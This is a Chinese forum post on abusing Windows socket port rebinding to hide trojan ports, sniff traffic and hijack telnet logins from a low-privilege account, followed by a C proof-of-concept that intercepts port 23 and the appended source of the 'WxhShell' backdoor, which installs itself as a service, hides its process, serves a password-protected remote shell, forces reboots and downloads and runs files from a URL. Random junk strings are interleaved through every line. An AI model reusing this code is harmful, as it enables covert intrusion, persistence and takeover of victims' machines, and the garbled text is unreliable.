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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z*s/%4On  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D[;6xJ  
iK=H9j  
  saddr.sin_family = AF_INET; !=k\Rr@qx  
cs~ }k7><  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _;X# &S(q-  
UmInAH4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R1J"QU  
0&-!v?6 )  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e J2[=L'  
SQa.xLU  
  这意味着什么?意味着可以进行如下的攻击: B)ynF?"  
bpKMQrwd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4lvo9R  
}_5z(7}3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^>[DG]g  
q& 4Z.(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t(Iy[-  
\!z=x#!O$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :vX;>SH$p  
8=)A ksu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P#rwYPww\  
q0DoR@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w?<:`  
&AOw(?2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P%B1dRa  
r`wL_>"{n  
  #include 5\EHu8  
  #include 'HW(RC0dR  
  #include e`#Gq0}8  
  #include    nV"[WngN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w&:h^u  
  int main() >\(Ma3S   
  { p*NC nD*  
  WORD wVersionRequested; *.voN[$~  
  DWORD ret; q`9~F4\  
  WSADATA wsaData; B:+}^=  
  BOOL val; }u:^Mz  
  SOCKADDR_IN saddr; dpE\eXoa,  
  SOCKADDR_IN scaddr; {&w%3  
  int err; }wj*^>*  
  SOCKET s; )k29mqa`  
  SOCKET sc; kD MS7y<s  
  int caddsize; ( 9dV%#G\  
  HANDLE mt; v`x~O+  
  DWORD tid;   ^/Gjk  
  wVersionRequested = MAKEWORD( 2, 2 ); Mk,8v],-Tj  
  err = WSAStartup( wVersionRequested, &wsaData ); kDO6:sjR7  
  if ( err != 0 ) { fbo64$!hZ  
  printf("error!WSAStartup failed!\n"); `acorfpi  
  return -1; :M|bw{P*  
  } 6TPcG dZ  
  saddr.sin_family = AF_INET; ,FS iE\  
   SuGlNp>#qm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A(;J  
d'Gv\i&e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z?1G J8  
  saddr.sin_port = htons(23); |byB7 f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $_)YrqSo~  
  { If!0w ;h  
  printf("error!socket failed!\n"); z-$?.?d  
  return -1; J8? 6yd-7  
  } ;hd> v&u#  
  val = TRUE; % k$+t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h/-7;Csv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !dVcnK1  
  { R>pa? tQgK  
  printf("error!setsockopt failed!\n"); \EB]J\ x<  
  return -1; h`3;^T  
  } 6@bGh|   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j] M)i:n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~R!(%j ]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O aF+Z@s  
0SvPyf%AC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !4.;Ftgjn  
  { y<3v/ ,Y  
  ret=GetLastError(); G/<{:R"  
  printf("error!bind failed!\n"); {} vl^b  
  return -1; JB b}{fo~  
  } \4zvknk<  
  listen(s,2); hn!$?Vo.  
  while(1) 5:n&G[Md  
  { sPc\xY  
  caddsize = sizeof(scaddr); y7,~7f!N2  
  //接受连接请求 >]C;sP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -! ;vX @  
  if(sc!=INVALID_SOCKET) _;LHC;,:  
  { b2p<!?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DB?_E{y]  
  if(mt==NULL) <JZ=K5  
  { L=HL1Qe$G]  
  printf("Thread Creat Failed!\n"); -6t# ?Dkc'  
  break; A=h`Z^8\B  
  } ( 7Y :3  
  } TvI}yaCu/x  
  CloseHandle(mt); )](8 {}wo  
  } O@E&lP6  
  closesocket(s); r=@h}TKv{I  
  WSACleanup(); bIWcL$}4Q  
  return 0; 7Dm^49H  
  }   8yztVdh  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8hAI l  
  { P?]q*KViM  
  SOCKET ss = (SOCKET)lpParam; :I<%.|8  
  SOCKET sc; 8eOQRC33  
  unsigned char buf[4096]; *bv Iqa  
  SOCKADDR_IN saddr; L/<Up   
  long num; m^]/ /j  
  DWORD val; f<kL}B+,Og  
  DWORD ret; <;U"D.'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cpE&Fba}"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wQ [2yq  
  saddr.sin_family = AF_INET; !lu$WJ{M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z|wZyt$$  
  saddr.sin_port = htons(23); *+@/:$|U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7*[>e7:A  
  { vO4 &ZQ>6  
  printf("error!socket failed!\n"); kO2im+y  
  return -1; WQ"ZQ  
  } #NL1N_B  
  val = 100; zROyG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D-,sF8{ i  
  { cteHuRd  
  ret = GetLastError(); |'KNR]: N  
  return -1; ?pQ, 5+8  
  } }T(|\ X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 70KXBu<6  
  { {v]>sn;P1  
  ret = GetLastError(); >O\-\L  
  return -1; ( !Ml2  
  } P<2yCovn`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xsAF<:S\  
  { r-Dcc;+=Q  
  printf("error!socket connect failed!\n"); !uHI5k,f  
  closesocket(sc); #UXmTrZ.  
  closesocket(ss); CT"0"~~  
  return -1; %Yd}},X_E  
  } lbv, jS  
  while(1) k?xtZ,n{s  
  { Bpk%,*$*)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8q tNK> D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "Ny_RF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a`|/*{  
  num = recv(ss,buf,4096,0); 1 !\pwd@{  
  if(num>0) UdLC]  
  send(sc,buf,num,0); G.oaDGy  
  else if(num==0) E,C<ox4e  
  break; fylaH(LER  
  num = recv(sc,buf,4096,0); \t!+]v8f8  
  if(num>0) 3:=XU9p)x  
  send(ss,buf,num,0); *]Vx=7 D  
  else if(num==0) ^i:%;oeG  
  break; 4Nq n47|>e  
  } y8<,>  
  closesocket(ss); =BGc@:2  
  closesocket(sc); z,] fR  
  return 0 ; A #jiCIc  
  } $ B$=,^)3  
\sRRLDj%  
;#Mq=Fr-SG  
========================================================== q5OW1%  
EG9S? $  
下边附上一个代码,,WXhSHELL c\;} ov+  
C %EQ9Iq6r  
========================================================== ;j/ur\37  
.vT'hu  
#include "stdafx.h" ~i  &K,  
VUNQ@{ST|1  
#include <stdio.h> '0o`<xW  
#include <string.h> S2<(n,"  
#include <windows.h> z1V0WDVm  
#include <winsock2.h> BB|{VwN  
#include <winsvc.h> ".w*_1G7U  
#include <urlmon.h> *`l>1)B>  
&Vonu*  
#pragma comment (lib, "Ws2_32.lib") {b#c0>.8-  
#pragma comment (lib, "urlmon.lib") 8^4X/n  
::M/s#-@  
#define MAX_USER   100 // 最大客户端连接数 (U7%Z<  
#define BUF_SOCK   200 // sock buffer h_A}i2/{  
#define KEY_BUFF   255 // 输入 buffer LRbevpZ,  
WO}JIExy  
#define REBOOT     0   // 重启 1":{$A?OB  
#define SHUTDOWN   1   // 关机 aa".d[*1  
U7ajDw  
#define DEF_PORT   5000 // 监听端口 B8TI 5mZ4  
iK.MC%8?  
#define REG_LEN     16   // 注册表键长度 Dt +"E  
#define SVC_LEN     80   // NT服务名长度 g~V{Ca;}  
CMF1<A4]  
// 从dll定义API r/{VL3}F_e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )8Q|y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .upcUS8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fqZ!Bi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?>AhC{  
K=B[MT#V{2  
// wxhshell配置信息 6,c,i;J_  
struct WSCFG { v-Br)lLv  
  int ws_port;         // 监听端口 }%jb/@~  
  char ws_passstr[REG_LEN]; // 口令 <R !qOQI  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hh qx)u  
  char ws_regname[REG_LEN]; // 注册表键名 + S%+Ku  
  char ws_svcname[REG_LEN]; // 服务名 +h9CcBd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Xn#e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I O6i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s*!2oj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jf$t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ".@SQgyb0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g`&pQ%|=  
:V_$?S  
}; goHr# @  
IXg${I}_Q  
// default Wxhshell configuration glv(`cQ  
struct WSCFG wscfg={DEF_PORT, S`*al<m  
    "xuhuanlingzhe", 'Lm.`U  
    1, $9l3 DJ  
    "Wxhshell", F1,pAtA  
    "Wxhshell",  NOQgkN  
            "WxhShell Service", p@Qzg /X  
    "Wrsky Windows CmdShell Service", aFC3yMKXh  
    "Please Input Your Password: ", rgP$\xn-  
  1, h]zx7zt-  
  "http://www.wrsky.com/wxhshell.exe", ?]7ITF  
  "Wxhshell.exe"  6f{c  
    }; eFeeloH?e*  
`i.f4]r  
// 消息定义模块 f|q6<n_nM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dn6DkD!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O&O1O> [p1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h]D=v B  
char *msg_ws_ext="\n\rExit."; :s$9#}hw,  
char *msg_ws_end="\n\rQuit."; d-?~O~qD|!  
char *msg_ws_boot="\n\rReboot..."; }U #S*  
char *msg_ws_poff="\n\rShutdown..."; (Hn,}(3S  
char *msg_ws_down="\n\rSave to "; h{h=',o1  
Xz5=fj&  
char *msg_ws_err="\n\rErr!"; VyI%^S ]sS  
char *msg_ws_ok="\n\rOK!"; .KB*u*h  
z.jGVF4  
char ExeFile[MAX_PATH]; MT V'!Zxs  
int nUser = 0; 3Ys|M%N  
HANDLE handles[MAX_USER]; f5yd2wKy6  
int OsIsNt; 'l;?P  
|YlUt~H>  
SERVICE_STATUS       serviceStatus; $[>wJXj3R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vfo[<"  
rVN|OLh  
// 函数声明 rSZWmns  
int Install(void); n@%'Nbc>b  
int Uninstall(void); 8l}|.Q#--  
int DownloadFile(char *sURL, SOCKET wsh); v)pdm\P  
int Boot(int flag); ae^xuM?7  
void HideProc(void); ,O-lDzcw  
int GetOsVer(void); AOfQqGf  
int Wxhshell(SOCKET wsl); F`ihw[ Wn  
void TalkWithClient(void *cs); oS`F Yy  
int CmdShell(SOCKET sock); $>BP}V33  
int StartFromService(void); qt1# P  
int StartWxhshell(LPSTR lpCmdLine); qM9GW`CKA  
f/ =0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ec3('}X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ):\ pD]e  
[XQNgSy?z  
// 数据结构和表定义 m?m,w$K  
SERVICE_TABLE_ENTRY DispatchTable[] = qQom=x  
{ w?5b:W,  
{wscfg.ws_svcname, NTServiceMain}, /vQ^>2X%  
{NULL, NULL} MDB}G '  
}; W5x]bl#  
UGN. ]#"#  
// 自我安装 jAJkCCG  
int Install(void) iD]!PaFD`  
{ zO+nEsf^O  
  char svExeFile[MAX_PATH]; Z os~1N]3  
  HKEY key; )WFUAzuN,  
  strcpy(svExeFile,ExeFile); \u)(+t{  
("TI~  
// 如果是win9x系统,修改注册表设为自启动 |FNP~5v  
if(!OsIsNt) { ;N j5NB7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $]T7Iwk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |fJ,+)_(  
  RegCloseKey(key); ?(|!VLu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z^oi15D|{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m.$Oo Mu'  
  RegCloseKey(key); {-E{.7  
  return 0; F(w>lWs;  
    } 4s"HO/  
  } O-G@To3\  
} Fj5^_2MU:  
else { 97BL%_^k  
SEuj=Vie#  
// 如果是NT以上系统,安装为系统服务 Ft|a/e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eIEcj<f  
if (schSCManager!=0) Qv?jo(]  
{ NT-du$! u  
  SC_HANDLE schService = CreateService pG4Hy$e  
  ( ! [:K/  
  schSCManager, OC [a?#R1  
  wscfg.ws_svcname, HKh)T$IZM  
  wscfg.ws_svcdisp, gr7W&2x7\  
  SERVICE_ALL_ACCESS, Y#Z&$&n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mDq0 1fU4  
  SERVICE_AUTO_START, tL3(( W"  
  SERVICE_ERROR_NORMAL, :*8@Mj Z4  
  svExeFile, xL!05du  
  NULL, ~k J#IA  
  NULL, jt]+(sx  
  NULL, vw!i)JO8M  
  NULL, XkNi 'GJf  
  NULL "~Eo=R0O  
  ); |[: `izW  
  if (schService!=0) p"X\]g^jA>  
  { 4dy)g)wM  
  CloseServiceHandle(schService); L,l+1`Jz  
  CloseServiceHandle(schSCManager); Gm|QOuw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }tJ:-!*2  
  strcat(svExeFile,wscfg.ws_svcname); A1Zu^_y'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZWr\v!4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @4Y>)wn&;  
  RegCloseKey(key); Z c"]Cv(  
  return 0; 7_{x '#7  
    } 7.=u:PK7kM  
  } ``Nj Nd  
  CloseServiceHandle(schSCManager); `=\G>#p<T  
} ( {8Q=Gh  
} cis ~]x%  
0 @ ,@  
return 1; 2AlLcfAW  
} )8vcg{b{d  
s_kI\w4(x1  
// 自我卸载 3O]e  
int Uninstall(void) 6znm?s@~  
{ bc 0|tJc  
  HKEY key; P@Qo2zTh%  
F-ZD6l9O  
if(!OsIsNt) { O ,DX%wk,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mtF&Z\ag  
  RegDeleteValue(key,wscfg.ws_regname); 3Fr}8Dy  
  RegCloseKey(key); PffwNj/l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4RzG3CJdS  
  RegDeleteValue(key,wscfg.ws_regname); GY4yZa  
  RegCloseKey(key); e;gf??8}  
  return 0; fG.w;Aemv5  
  } (_W[~df4  
} q5`Gl  
} |6uEf/*DX  
else { CZ0 {*K:  
cJty4m-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0~-+5V  
if (schSCManager!=0) a'A0CQ  
{ (* 2"dd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x~(Ul\EX  
  if (schService!=0) :bh[6 F  
  { FTB"C[>  
  if(DeleteService(schService)!=0) { 6 HEl1FK{@  
  CloseServiceHandle(schService); ;or> Sh7  
  CloseServiceHandle(schSCManager); f.u{;W  
  return 0; ,%:`Ll t]$  
  } -Pvt+I>  
  CloseServiceHandle(schService); {=(4  
  } q6,xsO,+  
  CloseServiceHandle(schSCManager); qItI):9U  
} %tu{`PN<  
} w%$n)7<*  
0lBl5k e  
return 1; sG}9l1  
} )zt5`"/o  
aNwDMd^+  
// 从指定url下载文件 $iB(N ZV  
int DownloadFile(char *sURL, SOCKET wsh) q&wMp{  
{ 5jV]{ZV#  
  HRESULT hr; AHLDURv  
char seps[]= "/"; !YoKKG~_0  
char *token; 7eq;dNB@gq  
char *file; . XY'l  
char myURL[MAX_PATH]; $)uQ%/DH>  
char myFILE[MAX_PATH]; E+>;tLw3j  
jALo;PDJ  
strcpy(myURL,sURL); `q/y|/v<  
  token=strtok(myURL,seps); im?nR+t+X  
  while(token!=NULL) g)"6|Z?D"  
  { oW8[2$_N+  
    file=token; D2hvf ^g'*  
  token=strtok(NULL,seps); M,[ClQ 9  
  } dNyc|P`U  
!cq4+0{O;&  
GetCurrentDirectory(MAX_PATH,myFILE); a@X'oV`(2b  
strcat(myFILE, "\\"); Kzmgy14o  
strcat(myFILE, file); X31kHK5F_  
  send(wsh,myFILE,strlen(myFILE),0); "y`?KY$[N  
send(wsh,"...",3,0); x0 #+yP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EXzY4D ^  
  if(hr==S_OK) j^k{~]+_^]  
return 0; K;Xn!:) V:  
else E6G^?k~q  
return 1; 0|U<T#t8?  
Oe=,-\&_  
} A/.cNen  
j9,X.?Xvx  
// 系统电源模块 6v1j*'  
int Boot(int flag) FX'W%_f,  
{ Nn^el' S'  
  HANDLE hToken; [;b9'7j'  
  TOKEN_PRIVILEGES tkp; a#{a{>  
;J _d%  
  if(OsIsNt) { J) (pGS@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n[clYi@e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fl O%O D  
    tkp.PrivilegeCount = 1; ?oF@q :W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4x3`dvfp/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z`f _e?  
if(flag==REBOOT) { ^hgpeu   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9hq7:  
  return 0; 0 Hq$h  
} 9 (&!>z  
else { kfHLjr.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oll\T GXP!  
  return 0; VOiphw`  
} Zw3|HV(so  
  } ;xRyONt  
  else { 9DT}sCLz:B  
if(flag==REBOOT) { d EXw=u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zL{KK9Or  
  return 0; kn<[v;+  
} ~jPe9  
else { 1k7E[G~G|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F8k1fmM]Y  
  return 0; isN"7y|r:X  
} 8=?I/9Xh  
} -8TLnl~[  
Di L@NU!$q  
return 1; C2VZE~U+  
} 5yQgGd)  
M"J $c42  
// win9x进程隐藏模块 %URyGS]*  
void HideProc(void) <;Xj4 J  
{ rUuM__;d  
0lEIj/u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3j3AI 7c  
  if ( hKernel != NULL ) 9K&b1O@Aj  
  { Z2ZS5a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c2i^dNp_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QTDI^ZeuF  
    FreeLibrary(hKernel); @Wv*`  
  } 'E@D  
AvwX 2?tc  
return; T|=8 jt,  
} nqV7Db~  
[`:\(( 8  
// 获取操作系统版本 <vAg\Tv:S  
int GetOsVer(void) p'R}z|d)  
{ 6Y=$7%z  
  OSVERSIONINFO winfo; ycH=L8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y@(U 6ZOyx  
  GetVersionEx(&winfo); +yYz;, \  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lkb?,j5  
  return 1; BEY}mR]  
  else )S5Q5"j&=f  
  return 0; U2h?l `nP  
} 68D.Li  
uXp0D$a  
// 客户端句柄模块 [k.<x'#  
int Wxhshell(SOCKET wsl) v3[ 2!UXq  
{ 7N:,F9V<  
  SOCKET wsh; #-{4 Jx  
  struct sockaddr_in client; UrtN3icph  
  DWORD myID; t#d~gBe?V  
)UxF lp;\  
  while(nUser<MAX_USER) oZIoY*7IrQ  
{ BeVQ [  
  int nSize=sizeof(client); a~{mRh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r..Rh9v/=E  
  if(wsh==INVALID_SOCKET) return 1; HWc=.Qq  
8'f:7KF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t[X'OK0W%3  
if(handles[nUser]==0) , n+dB2\  
  closesocket(wsh); Dl7#h,GTc<  
else JU~l  
  nUser++; {% ;tN`{M  
  } Va{`es)hky  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _kar5B$  
7wZKK0;T  
  return 0; ~UL; O\-b0  
} f-3lJ?6  
}?H|9OS  
// 关闭 socket d-c+ KV  
void CloseIt(SOCKET wsh) 76hi@7a  
{ :lcoSJ  
closesocket(wsh); "eBpSV>nnQ  
nUser--; e\)PGjSI  
ExitThread(0); tW 9vo-{+  
} /Jo*O=Lpo  
k6$.pCH6  
// 客户端请求句柄 ;ASlsUE\)  
void TalkWithClient(void *cs) uRp-yu[nt%  
{ **oN/5  
"EA%!P:d,  
  SOCKET wsh=(SOCKET)cs; d^,u"Z9P  
  char pwd[SVC_LEN]; _RAPXU~ 6-  
  char cmd[KEY_BUFF]; b&0q%tCK  
char chr[1]; V RT| OUq  
int i,j; |J8c|h<  
5I@< 6S&X  
  while (nUser < MAX_USER) { vQ 5 p  
sqsBGFeG  
if(wscfg.ws_passstr) { 2o6%P}C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LB-4/G$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yQh":"$k  
  //ZeroMemory(pwd,KEY_BUFF); VJm).>E3k  
      i=0; uN'e~X6  
  while(i<SVC_LEN) { U t0oh  
V+DN<F-  
  // 设置超时 $My%7S/3  
  fd_set FdRead; sN;xHTY  
  struct timeval TimeOut; mhVSZhx|  
  FD_ZERO(&FdRead); N5o jXX!l%  
  FD_SET(wsh,&FdRead); 0>>tdd7  
  TimeOut.tv_sec=8; ](B+ilr   
  TimeOut.tv_usec=0; xMU4Av[{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <Azv VSA,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MsfY|(/m  
l&[x)W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eR =P  
  pwd=chr[0]; Hh,q)(Wo  
  if(chr[0]==0xd || chr[0]==0xa) { ]^E<e!z={$  
  pwd=0; g&X$)V4C  
  break; YGNO]Q~A  
  } 4OC ^IS  
  i++; tpU[KR[-  
    } N<9C V!_  
R9^Vk*`gFU  
  // 如果是非法用户,关闭 socket RYy_Ppn96f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e'p'{]r<w  
} l7nc8K  
6gNsh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3N[t2Y1r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FG:(H0  
G-~+FnUC  
while(1) { 5v6*.e'p  
1d"g $i4e  
  ZeroMemory(cmd,KEY_BUFF); &KmV tj  
}[\l$sS  
      // 自动支持客户端 telnet标准   xZwG@+U=X  
  j=0; o^}K]ML!t  
  while(j<KEY_BUFF) { :!n_a*.{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1=}+NK!  
  cmd[j]=chr[0]; 9aHV~5  
  if(chr[0]==0xa || chr[0]==0xd) { g Q6_]~4  
  cmd[j]=0; V+(1U|@~  
  break; !0i  
  }  $TGE  
  j++; <Y9%oJn%  
    } A_i=hj 2f  
M2l0x @|  
  // 下载文件 iP)`yB5`  
  if(strstr(cmd,"http://")) { il|e5TD^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )w4i0Xw^C:  
  if(DownloadFile(cmd,wsh)) V9mqJRFJ:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \C#X Kk$OE  
  else \QGh@AQp"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y{ijSOl3  
  } 49W@?: b  
  else { yb\T< *  
sIJl9  
    switch(cmd[0]) { C8W#$a  
  2<q>]G-nN  
  // 帮助 =^\yE"a  
  case '?': { 3"FvYv{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }>]V_}h  
    break; &{-r 5d23  
  } m<}>'D T  
  // 安装 6#hDj_(,  
  case 'i': { IOhJL'r  
    if(Install()) UuPXo66F ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"K-aO&  
    else XYj!nx{k,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ])`w_y(>  
    break; 5$$Yce=k  
    } ]{ ^'{z$i  
  // 卸载 +N n $  
  case 'r': { lJb1{\|.,  
    if(Uninstall()) T+1:[bqK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G9v'a&  
    else :{BD/6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uGt}Hn  
    break; Gj!9#on$7R  
    } <hkSbJF  
  // 显示 wxhshell 所在路径 ]ie38tX$  
  case 'p': { F#-mseKhc  
    char svExeFile[MAX_PATH]; ",O |uL  
    strcpy(svExeFile,"\n\r"); >8M=RE n4  
      strcat(svExeFile,ExeFile); Bie#GKc  
        send(wsh,svExeFile,strlen(svExeFile),0); S#Q0aG j  
    break; JJe8x4  
    } !:Z lVIA  
  // 重启 >-oB%T  
  case 'b': { e<A6= }  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wr5ScsNS  
    if(Boot(REBOOT)) AS5' j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2S,N9 (7  
    else { R RRF/Z;))  
    closesocket(wsh); C-h9_<AwJQ  
    ExitThread(0); ;YN`E  
    } ] MP*5U>;  
    break; . ,h>2;f  
    } LY:%k|L9  
